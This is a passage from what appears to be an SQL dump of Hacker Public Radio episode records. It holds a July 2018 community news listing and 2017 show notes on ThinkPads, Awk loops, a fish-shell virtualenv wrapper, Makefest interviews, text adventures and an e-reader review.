href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2600\" target=\"_blank\">2600</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-07-20</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2600\" target=\"_blank\">Special episode on 2600, Blue Boxes, Phreaking</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2601\" target=\"_blank\">2601</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-07-23</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2601\" target=\"_blank\">Liverpool Makerfest 2018</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2602\" target=\"_blank\">2602</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-07-24</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2602\" target=\"_blank\">HPR Quick Tips July 2018</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2603\" target=\"_blank\">2603</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-07-25</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2603\" target=\"_blank\">Dummy shares a tip and a tip/rant about asking and answering questions</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2604\" target=\"_blank\">2604</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-07-26</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2604\" target=\"_blank\">Restoration of a Fasco L55A Hassock Fan</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2605\" target=\"_blank\">2605</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-07-27</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2605\" target=\"_blank\">The Eyes Have It</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2606\" target=\"_blank\">2606</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-07-30</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2606\" target=\"_blank\">Liverpool Makefest 2018 - interview with Dan Lynch</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2607\" target=\"_blank\">2607</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-07-31</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2607\" target=\"_blank\">Processing</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 28 comments in total.</p>\n<p>There are 6 comments on\n4 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2519#comments\" target=\"_blank\">hpr2519</a></strong>\n(2018-03-29) \"<em>the_remora Builds a character in Edge of the Empire</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=363\" target=\"_blank\">the_remora</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2519#1\" target=\"_blank\">Comment 1</a>:\nKlaatu on 2018-07-04:\n\"great walkthrough\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2558#comments\" target=\"_blank\">hpr2558</a></strong>\n(2018-05-23) \"<em>Battling with English - part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2558#5\" target=\"_blank\">Comment 5</a>:\nThe Snitch on 2018-07-06:\n\"The Jig is up Dave !\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2558#6\" target=\"_blank\">Comment 6</a>:\nDave Morriss on 2018-07-06:\n\"Re: The Jig is up\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2579#comments\" target=\"_blank\">hpr2579</a></strong>\n(2018-06-21) \"<em>Ubuntu 18.04 Mate</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2579#2\" target=\"_blank\">Comment 2</a>:\nTony Hughes on 2018-07-01:\n\"Great little update\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2583#comments\" target=\"_blank\">hpr2583</a></strong>\n(2018-06-27) \"<em>Random Rant</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=354\" target=\"_blank\">TheDUDE</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2583#1\" target=\"_blank\">Comment 1</a>:\nRandyNose AKA TheNose100 on 2018-07-01:\n\"The Juiced Penguin\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2583#2\" target=\"_blank\">Comment 2</a>:\nclacke on 2018-07-19:\n\"mp3 is not a real problem\"</li></ul><br/>\n</li></ul>\n<p>There are 22 comments on 11 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2588#comments\" target=\"_blank\">hpr2588</a></strong>\n(2018-07-04) \"<em>Miniature painting</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2588#1\" target=\"_blank\">Comment 1</a>:\nKlaatu on 2018-07-04:\n\"painting miniatures\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2588#2\" target=\"_blank\">Comment 2</a>:\ndodddummy on 2018-07-09:\n\"Wonder no more\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2589#comments\" target=\"_blank\">hpr2589</a></strong>\n(2018-07-05) \"<em>Saving Money: a response to Klaatu\'s Personal Finance Series</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2589#1\" target=\"_blank\">Comment 1</a>:\nKlaatu on 2018-07-08:\n\"Thanks for furthering this discussion\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2589#2\" target=\"_blank\">Comment 2</a>:\njonkulp on 2018-07-09:\n\"The Suburban Option\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2590#comments\" target=\"_blank\">hpr2590</a></strong>\n(2018-07-06) \"<em>Blowing a PC Power Supply</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2590#1\" target=\"_blank\">Comment 1</a>:\nKlaatu on 2018-07-08:\n\"Switches on mains\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2594#comments\" target=\"_blank\">hpr2594</a></strong>\n(2018-07-12) \"<em>Using nmtui, the Network Manager Terminal User interface</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=366\" target=\"_blank\">Philip</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2594#1\" target=\"_blank\">Comment 1</a>:\nklaatu on 2018-07-17:\n\"nice first ep!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2596#comments\" target=\"_blank\">hpr2596</a></strong>\n(2018-07-16) \"<em>Battling with English - part 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2596#1\" target=\"_blank\">Comment 1</a>:\nklaatu on 2018-07-17:\n\"great series\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2596#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2018-07-19:\n\"Is English really so bad?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2596#3\" target=\"_blank\">Comment 3</a>:\nHipstre on 2018-07-20:\n\"Thanks so much!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2596#4\" target=\"_blank\">Comment 4</a>:\nbjb on 2018-07-21:\n\"the ownership apostrophe\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2596#5\" target=\"_blank\">Comment 5</a>:\nDave Morriss on 2018-07-22:\n\"Hipstre&#39;s comments\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2596#6\" target=\"_blank\">Comment 6</a>:\nDave Morriss on 2018-07-26:\n\"Re: Ownership apostrophe\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2597#comments\" target=\"_blank\">hpr2597</a></strong>\n(2018-07-17) \"<em>How to Fix a Remote with Buttons that Don\'t Work</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2597#1\" target=\"_blank\">Comment 1</a>:\nHipstre on 2018-07-21:\n\"How to Fix a Remote\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2599#comments\" target=\"_blank\">hpr2599</a></strong>\n(2018-07-19) \"<em>Fitting a 3.5mm adapter to a bluetooth receiver.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2599#1\" target=\"_blank\">Comment 1</a>:\ncmhobbs on 2018-07-18:\n\"great plan!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2600#comments\" target=\"_blank\">hpr2600</a></strong>\n(2018-07-20) \"<em>Special episode on 2600, Blue Boxes, Phreaking</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2600#1\" target=\"_blank\">Comment 1</a>:\nNYbill on 2018-07-22:\n\"Ha!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2603#comments\" target=\"_blank\">hpr2603</a></strong>\n(2018-07-25) \"<em>Dummy shares a tip and a tip/rant about asking and answering questions</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2603#1\" target=\"_blank\">Comment 1</a>:\nHipstre on 2018-07-25:\n\"Nick Burns\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2603#2\" target=\"_blank\">Comment 2</a>:\ndodddummy on 2018-07-25:\n\"Related to humilation\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2603#3\" target=\"_blank\">Comment 3</a>:\nBrenda J. Butler on 2018-07-26:\n\"People who waste my time by trying to find the answer for me.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2603#4\" target=\"_blank\">Comment 4</a>:\nQuick Answers on 2018-07-27:\n\"I failed to do this and I&#39;m sorry.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2605#comments\" target=\"_blank\">hpr2605</a></strong>\n(2018-07-27) \"<em>The Eyes Have It</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2605#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2018-07-01:\n\"I *see* what you did there :)\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2605#2\" target=\"_blank\">Comment 2</a>:\nClintonRoy on 2018-07-27:\n\"Yowsers\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2607#comments\" target=\"_blank\">hpr2607</a></strong>\n(2018-07-31) \"<em>Processing</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2607#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2018-07-31:\n\"Seems likea great teaching tool\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-July/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-July/thread.html</a>\n\n\n<h2>Any other business</h2>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=357\"><code>bjb</code></a> for sending in updates in the past month.</p>\n<p>Over the period tags and/or summaries have been added to 2 shows which were missing them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2318,'2017-06-21','Talking about my thinkpads',2715,'I talk about why I love my thinkpads so much and how I appreciate having them','<p>\r\n<a href=\"https://support.lenovo.com/us/en/solutions/pd015734\">https://support.lenovo.com/us/en/solutions/pd015734</a>\r\n</p>\r\n<p>\r\n<a href=\"https://support.lenovo.com/us/en/solutions/migr-75044\">https://support.lenovo.com/us/en/solutions/migr-75044</a>\r\n</p>',297,0,0,'CC-BY-SA','thinkpad, laptop, lenovo, x201, t420',0,0,1),
(2324,'2017-06-29','Opensusecon 2017 and Ubuntu 16.04',326,'Performance of Ubuntu 16.04 on my MS surface Tablet and Brief Review of OpenSuse Con 2017','<p>\r\nInformation about HTOP can be found at <a href=\"https://en.wikipedia.org/wiki/Htop\">https://en.wikipedia.org/wiki/Htop</a>\r\nInformation about Audacity 2.1.2 can be found at <a href=\"https://www.audacityteam.org/\">https://www.audacityteam.org/</a>\r\n</p>\r\n<p>\r\nOverall the opensuse con 2017 was a great event.  Lots of talks, they had guy with 16 Raspberry PIs in a storage cluster and list goes on and on.  Many of the folks there were suse employees or Open Cloud employees but they really had their passions down.\r\n</p>\r\n<p>\r\nUbuntu 16.04 is running fine on my MS surface tablet and is wife friendly.\r\n</p>',129,0,1,'CC-BY-SA','openSUSE,openSUSE conference 2017,Ubuntu,Microsoft Surface tablet',0,0,1),
(2330,'2017-07-07','Awk Part 7',1271,'Looping in Awk explained by a sleep-deprived host','<p>In this episode, I will (very) briefly go over loops in the Awk programming language. Loops are useful when you want to run the same command(s) on a collection of data or when you just want to repeat the same commands many times.</p>\r\n<p>When using loops, a command or group of commands is repeated until a condition (or many) is met.</p>\r\n<h2 id=\"while-loop\">While Loop</h2>\r\n<p>Here is a silly example of a while loop:</p>\r\n<pre><code>#!/bin/awk -f\r\nBEGIN {\r\n\r\n# Print the squares from 1 to 10 the first way\r\n\r\n    i=1;\r\n    while (i &lt;= 10) {\r\n        print &quot;The square of &quot;, i, &quot; is &quot;, i*i;\r\n        i = i+1;\r\n    }\r\n\r\nexit;\r\n}</code></pre>\r\n<p>Our condition is set in the braces after the <code>while</code> statement. We set a variable, i, before entering the loop, then increment i inside of the loop. If you forget to make a way to meet the condition, the while will go on <strong>forever</strong>.</p>\r\n<h2 id=\"do-while-loop\">Do While Loop</h2>\r\n<p>Here is an equally silly example of a <code>do while</code> loop:</p>\r\n<pre><code>#!/bin/awk -f\r\nBEGIN {\r\n\r\n    i=2;\r\n    do {\r\n        print &quot;The square of &quot;, i, &quot; is &quot;, i*i;\r\n        i = i + 1\r\n    }\r\n\r\n    while (i != 2)\r\n\r\nexit;\r\n}</code></pre>\r\n<p>Here, the commands in the <code>do</code> code block are executed at the start, then the looping begins.</p>\r\n<h2 id=\"for-loop\">For Loop</h2>\r\n<p>Another silly example of a <code>for</code> loop:</p>\r\n<pre><code>#!/bin/awk -f\r\nBEGIN {\r\n\r\n    for (i=1; i &lt;= 10; i++) {\r\n        print &quot;The square of &quot;, i, &quot; is &quot;, i*i;\r\n    }\r\n\r\nexit;\r\n}</code></pre>\r\n<p>As you can see, we set the variable, set the condition and set the increment method all in the braces after the <code>for</code> statement.</p>\r\n<h2 id=\"for-loop-over-arrays\">For Loop Over Arrays</h2>\r\n<p>Here is a more useful example of a for loop. Here, we are adding the different values of column 2 into an array/hash-table called <code>a</code>. After processing the file, we print the different values.</p>\r\n<p>For file.txt:</p>\r\n<pre><code>name       color  amount\r\napple      red    4\r\nbanana     yellow 6\r\nstrawberry red    3\r\ngrape      purple 10\r\napple      green  8\r\nplum       purple 2\r\nkiwi       brown  4\r\npotato     brown  9\r\npineapple  yellow 5</code></pre>\r\n<p>Using the awk file of:</p>\r\n<pre><code>NR != 1 {\r\n    a[$2]++\r\n}\r\nEND {\r\n    for (b in a) {\r\n        print b\r\n    }\r\n}</code></pre>\r\n<p>We get the results of:</p>\r\n<pre><code>brown\r\npurple\r\nred\r\nyellow\r\ngreen</code></pre>\r\n<p>In another example, we do a similar process. This time, not only do we store all the distinct values of the second column, we perform a sum operation on column 3 for each distinct value of column 2.</p>\r\n<p>For file.csv:</p>\r\n<pre><code>name,color,amount\r\napple,red,4\r\nbanana,yellow,6\r\nstrawberry,red,3\r\ngrape,purple,10\r\napple,green,8\r\nplum,purple,2\r\nkiwi,brown,4\r\npotato,brown,9\r\npineapple,yellow,5</code></pre>\r\n<p>Using the awk file of:</p>\r\n<pre><code>BEGIN {\r\n    FS=&quot;,&quot;;\r\n    OFS=&quot;,&quot;;\r\n    print &quot;color,sum&quot;;\r\n}\r\nNR != 1 {\r\n    a[$2]+=$3;\r\n}\r\nEND {\r\n    for (b in a) {\r\n        print b, a[b]\r\n    }\r\n}</code></pre>\r\n<p>We get the results of:</p>\r\n<pre><code>color,sum\r\nbrown,13\r\npurple,12\r\nred,7\r\nyellow,11\r\ngreen,8</code></pre>\r\n<p>As you can see, we are also printing a header column prior to processing the file using the <code>BEGIN</code> code block.</p>\r\n',300,94,0,'CC-BY-SA','bash, linux, awk',0,0,1),
(2345,'2017-07-28','Fixing a toilet roll holder',531,'A small fix improves someone\'s life','<p>\r\nIn this episode Ken discusses how a simple \"life hack\", turned a source of frustration, into an engineering problem with a simple solution.\r\n</p>\r\n<p>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2345-toilet-roll-without-roll.jpg\" alt=\"Toilet roll holder without roll in place\"/>\r\n</p>\r\n<p>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2345-toilet-roll-with-roll.jpg\" alt=\"Toilet roll holder with roll in place\"/>\r\n</p>\r\n',30,0,1,'CC-BY-SA','Life Hack, re-purpose hack',0,0,1),
(2331,'2017-07-10','Liverpool Makefest 2017 Show 1',309,'A short series of interviews done at the Liverpool Makefest 2017','<p>Hi HPR listeners</p>\r\n<p>Tony Hughes here with the first of some short interviews I did during the Liverpool Makefest held on the 24th June 2017 at Liverpool Central Library.</p>\r\n<p><a href=\"https://lpoolmakefest.org/\" class=\"uri\">https://lpoolmakefest.org/</a></p>\r\n<p>The first interview was with Jay from the Inventors Asylum</p>\r\n<p><a href=\"https://www.inventorsasylum.co.uk/\" class=\"uri\">https://www.inventorsasylum.co.uk/</a></p>\r\n<p>The second interview was with John Walton about his Animatronics creations, sorry no web link.</p>',338,78,0,'CC-BY-SA','Interviews, Making',0,0,1),
(2333,'2017-07-12','VirtualenvWrapper for Fish Shell',835,'In this episode, talk about how I created my own virtualenvwrapper-like interface using Fish Shell.','<p>In this episode, talk about how I created my own virtualenvwrapper-like interface using Fish Shell.</p>\r\n<p><a href=\"https://fishshell.com\">Fish Shell</a> is &quot;a smart and user-friendly command line shell for macOS, Linux, and the rest of the family. It excels in tab completion and ease of use, but virtualenvwrapper does not support it.</p>\r\n<p>Virtualenvwrapper, like the name suggests, is a wrapper around python\'s virtualenv functionality, which allows you to use different versions of python packages in separate environments. To learn more, listen to <a href=\"https://hackerpublicradio.org/eps.php?id=2322\">BJB\'s show</a> called <em>A bit of background on virtualenvwrapper</em>.</p>\r\n<p>Functions and aliases in my fish config file:</p>\r\n<pre><code># Set virtual directory root\r\nexport set WORKON_HOME=$HOME/Envs\r\n\r\n# List virtual environments\r\nalias lsenvs=&quot;ls -m $WORKON_HOME | sed &#39;s/\\///g&#39;&quot;\r\n\r\n# Create python2 virtual environment\r\nfunction -d &quot;Like virtualenvwrapper for python2&quot; mkvirtualenv2\r\n    virtualenv -p python2 $WORKON_HOME/$argv;\r\n    and source $WORKON_HOME/$argv/bin/activate.fish;\r\n    and echo &quot;Virtual environment created.&quot;\r\nend\r\n\r\n# Create python3 virtual environment\r\nfunction -d &quot;Like virtualenvwrapper&quot; mkvirtualenv\r\n    virtualenv -p python3 $WORKON_HOME/$argv;\r\n    and source $WORKON_HOME/$argv/bin/activate.fish;\r\n    and echo &quot;Virtual environment created.&quot;\r\nend\r\n\r\n# Source a virtual environment\r\nfunction workon\r\n    source $WORKON_HOME/$argv/bin/activate.fish; and echo &quot;Switch to virtual environment.&quot;\r\nend\r\n\r\n# Delete a virtual environment\r\nfunction -d &quot;Like virtualenvwrapper&quot; rmvirtualenv\r\n    if test -n &quot;$VIRTUAL_ENV&quot;\r\n        deactivate\r\n    end\r\n    rm -rf $WORKON_HOME/$argv; and echo &quot;Virtual environment deleted.&quot;\r\nend</code></pre>\r\n',300,0,1,'CC-BY-SA','python,virtualenv,fish shell',0,0,1),
(2334,'2017-07-13','Our Adventure Begins!',966,'I discuss Colossal Cave Adventure and the adventure of playing it with my son.','<p>In this HPR episode, I discuss the open-sourcing of Colossal Cave Adventure (a text adventure computer game), my childhood exposure to text adventure games, and passing along the text adventure torch to my middle son thanks to the &quot;bsdgames&quot; package.</p>\r\n<p>Opening sound clip taken from &quot;The Hobbit: An Unexpected Journey.&quot; Closing song is &quot;The Free Software Song&quot; performed by Mark Forry, Yvette Osborne, Ron Fox, Steve Finney, Bill Cope, Kip McAtee, Ernie Provencher, Dan Auvil (<a href=\"https://www.gnu.org/music/free-software-song.en.html\" class=\"uri\">https://www.gnu.org/music/free-software-song.en.html</a>).</p>\r\n<p>E-mail: claudio@linuxbasement.com<br />\r\nIRC: ClaudioM on irc.freenode.net, #oggcastplanet</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><p>Wikipedia: Colossal Cave Adventure<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Colossal_Cave_Adventure\" class=\"uri\">https://en.wikipedia.org/wiki/Colossal_Cave_Adventure</a></p></li>\r\n<li><p>The Advent of ADVENT<br />\r\n<a href=\"https://esr.ibiblio.org/?p=7536\" class=\"uri\">https://esr.ibiblio.org/?p=7536</a></p></li>\r\n<li><p>The Adventure Begins Again<br />\r\n<a href=\"https://esr.ibiblio.org/?p=7540\" class=\"uri\">https://esr.ibiblio.org/?p=7540</a></p></li>\r\n<li><p>Github: Open Adventure<br />\r\n<a href=\"https://gitlab.com/esr/open-adventure\" class=\"uri\">https://gitlab.com/esr/open-adventure</a></p></li>\r\n<li><p>ClaudioM\'s Blog: The Adventure Begins Again, and it Begins for Us!<br />\r\n<a href=\"https://claudiomiranda.wordpress.com/2017/05/30/the-adventure-begins-again-and-it-begins-for-us/\" class=\"uri\">https://claudiomiranda.wordpress.com/2017/05/30/the-adventure-begins-again-and-it-begins-for-us/</a></p></li>\r\n<li><p>LinuxQuestions Wiki: BSD Games<br />\r\n<a href=\"https://wiki.linuxquestions.org/wiki/BSD_games\" class=\"uri\">https://wiki.linuxquestions.org/wiki/BSD_games</a></p></li>\r\n<li><p>Youtube: &quot;Aventure 2: Pirate Cove&quot; for the Commodore VIC-20 / Commodore VC-20<br />\r\n<a href=\"https://www.youtube.com/watch?v=04ghPx8WjLM\" class=\"uri\">https://www.youtube.com/watch?v=04ghPx8WjLM</a></p></li>\r\n<li><p>Wikipedia: Infocom<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Infocom\" class=\"uri\">https://en.wikipedia.org/wiki/Infocom</a></p></li>\r\n<li><p>Wikipedia: Mattel Aquarius<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Mattel_Aquarius\" class=\"uri\">https://en.wikipedia.org/wiki/Mattel_Aquarius</a></p></li>\r\n<li><p>Wikipedia: Zork<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Zork\" class=\"uri\">https://en.wikipedia.org/wiki/Zork</a></p></li>\r\n<li><p>Wikipedia: Hunt the Wumpus<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Hunt_the_Wumpus\" class=\"uri\">https://en.wikipedia.org/wiki/Hunt_the_Wumpus</a></p></li>\r\n<li><p>SourceForge: Frotz, A Portable Z-Machine Interpreter<br />\r\n<a href=\"https://frotz.sourceforge.net/\" class=\"uri\">https://frotz.sourceforge.net/</a></p></li>\r\n</ul>\r\n',152,0,0,'CC-BY-SA','foss,adventure,gaming,bsdgames,textadventure',0,0,1),
(2336,'2017-07-17','Liverpool Makefest 2017 Show 2',373,'A short series of interviews done at the Liverpool Makefest 2017','<p>Hi Tony Hughes here with the second of some short interviews I did during the Liverpool Makefest held on the 24th June 2017 at Liverpool Central Library.</p>\r\n<p><a href=\"https://lpoolmakefest.org/\" class=\"uri\">https://lpoolmakefest.org/</a></p>\r\n<p>The first interview is with Jimmy England from Warington Fab Lab</p>\r\n<p><a href=\"https://fablab.warrington.ac.uk/\" class=\"uri\">https://fablab.warrington.ac.uk/</a></p>\r\n<p>The second interview was with Patrick from DoES Liverpool</p>\r\n<p><a href=\"https://doesliverpool.com/\" class=\"uri\">https://doesliverpool.com/</a></p>\r\n',338,78,0,'CC-BY-SA','Interviews, Making',0,0,1),
(2338,'2017-07-19','Binaural recording 2 off to work',188,'Binaural 3d audio recording, please listen at normal speed with good head phones.','<p>This is a follow up to show <a href=\"https://hackerpublicradio.org/eps.php?id=0785\">0785</a> where I explained how and why I was recording 3d sound using my home made Binaural head phones, this episode is a standard morning commute waiting for Phantom Hawk to pick me up in his big yellow bus, enjoy.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=0785\">HPR episode 0785 - <em>binaural recording</em></a></li>\r\n</ul>\r\n',110,101,1,'CC-BY-SA','binaural,quvmoh,audio',0,0,1),
(2337,'2017-07-18','The Kobo Aura eReader',1123,'A review of my new (used) Kobo Aura e-book reader','<p>I recently acquired a refurbished <a href=\"https://en.wikipedia.org/wiki/Kobo_Aura\">Kobo Aura</a> e-book reader. This episode is a brief review.</p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li><a href=\"https://opendyslexic.org/\">OpenDyslexic Font</a></li>\r\n	<li><a href=\"https://calibre-ebook.com/\">Calibre</a> e-Book Management software</li>\r\n</ul>',238,0,0,'CC-BY-SA','ebooks, ereaders, ebook readers',0,0,1),
